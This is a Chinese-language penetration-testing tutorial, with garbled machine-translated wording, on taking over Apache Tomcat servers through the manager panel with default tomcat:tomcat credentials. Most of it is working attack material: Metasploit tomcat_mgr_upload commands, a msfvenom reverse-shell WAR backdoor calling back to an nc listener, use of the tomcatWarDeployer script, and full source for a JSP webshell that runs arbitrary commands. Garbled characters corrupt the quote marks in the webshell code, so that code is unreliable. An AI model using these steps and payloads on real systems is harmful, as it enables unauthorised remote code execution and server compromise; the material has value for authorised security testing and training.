目录

Tomcat经由身份验证的上传代码实行

天生.war格式的后门

jsp运行shell进击Tomcat的多种姿态 PHP

Tomcat war支配脚本

天生JSP webshell

首先利用nmap进行扫描,看看8080端口是否运行着Tomcat做事

nmap -sV -p8080 192.168.1.101

从扫描结果可以看到,8080端口是开放的,运行着Apache Tomcat。
我们用浏览器来访问以下目标IP地址,后面带上端口号。
我们可以看到一个HTTP身份认证页面来上岸Tomcat管理后台。

Tomcat经由身份验证的上传代码实行

目标做事器是Apache Tomcat,而且透露了管理后台,我们可以利用一个模块来实行payload。
这个payload作为一个war文件上传,这个payload包含了一个jsp运用,该jsp运用利用POST办法向/manager/html/upload组件发起要求。
请把稳,根据目标主机的不同,这个payload的设置也会有所不同。
比如,如果你的目标主机是Windows,那么你得利用原生的windows payload。

use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.101 msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080 msf exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat msf exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat msf exploit(multi/http/tomcat_mgr_upload) > exploit

如图所示,我们可以看到我们已经拿下了目标主机的meterpreter会话:

天生.war格式的后门

我们可以利用msfvenom来为java和jsp payload天生一个.war格式的后门。
你要做的便是按照下面供应的语法来创建一个.war格式的文件并启动nc进行监听:

Syntax: msfvenom -p [payload] LHOST=[Kali Linux IP] LPORT=[1234] -f [file format] > [file name] msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=1234 -f war > shell.war nc -lvp 1234

现在,利用默认的上岸凭据Tomcat:tomcat上岸到Tomcat管理后台中,上岸成功后你就能看到管理员面板,在这里你可以上传.war文件。

如图所示,你可以看到我已经在截图中圈出了“浏览恶意的shell.war文件进行支配”。
一旦你成功上传你的war文件,在运用表中,你可以看到一个跟你war文件名字相同的目录。

想要实行你的war文件,你须要进入该目录并点击war文件,或者是直接在URL里访问。

一旦你实行了war文件,你就可以通过nc得到一个反向连接。

耶,我们又一次得到了一个远程主机的webshell。

Tomcat War支配脚本

这是一个渗透测试工具,旨在利用Apache Tomcat凭据以自动天生和支配JSP后门,一旦之后触发这个后门,就会返回一个令人大快民气的shell了(不管是通过web gui还是监听绑定到目标主机的端口或者是回连到攻击者的反向TCP payload)。

实际上,它会动态的天生JSP后门war包,然后利用pentester供应的有效的HTTP身份认证凭据(或者自定义凭据,一样平常都是Tomcat:tomcat)上岸到Tomcat管理界面中并且将其支配到Tomcat运用程序中。

支配脚本你可以在这里进行下载:

https://github.com/mgeeky/tomcatWarDeployer

git clone https://github.com/mgeeky/tomcatWarDeployer cd tomcatWarDeployer ls

现在再按照语法来对目标主机进行漏洞利用,不用再手动上传war文件了。

Syntax : ./tomcatWarDeployer.py -U [usrename] -p [password]-H [Kali Linux IP]-p [Listening port] [target_IP]:[tomcat_port] ./tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080

一旦实行了上述命令,我们就可以直接得到一个webshell了,如下图所示:

天生JSP webshell

接下来,我们就来看看如何天生和支配webshell来得到Tomcat运用中的实行命令。

首先,我们须要写一个webshell并且打包成war格式。
我们可以利用下面的代码来写一个webshell:

<%@ page import=\公众java.io.\"大众 %> <% String cmd = request.getParameter(\公众cmd\公众); String output = \公众\公众; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+\公众 \公众; } } catch(IOException e) { e.printStackTrace(); } } %> <%=output %>

保存代码为index.jsp文件,然后利用下列命令来打包:

mkdir webshell cp index.jsp webshell/ cd webshell jar -cvf ../webshell.war

实行完这条命令,你就能天生一个war文件,你可以将这个war文件支配在Tomcat运用中。

如下图所示,你可以看到,我已经成功上传并支配了webshell.war文件,现在我们点击这个文件来实行:

在实行/webshell时,你会得到一个404缺点页面,现在再实行webshell下的index.jsp文件,如下:

http://192.168.1.106:8080/webshell/index.jsp

访问了上述URL后,你会得到一个命令实行的表单,现在你就可以在这个表单上任意实行cmd命令了,如图:

本文到此结束,希望大家有所收成。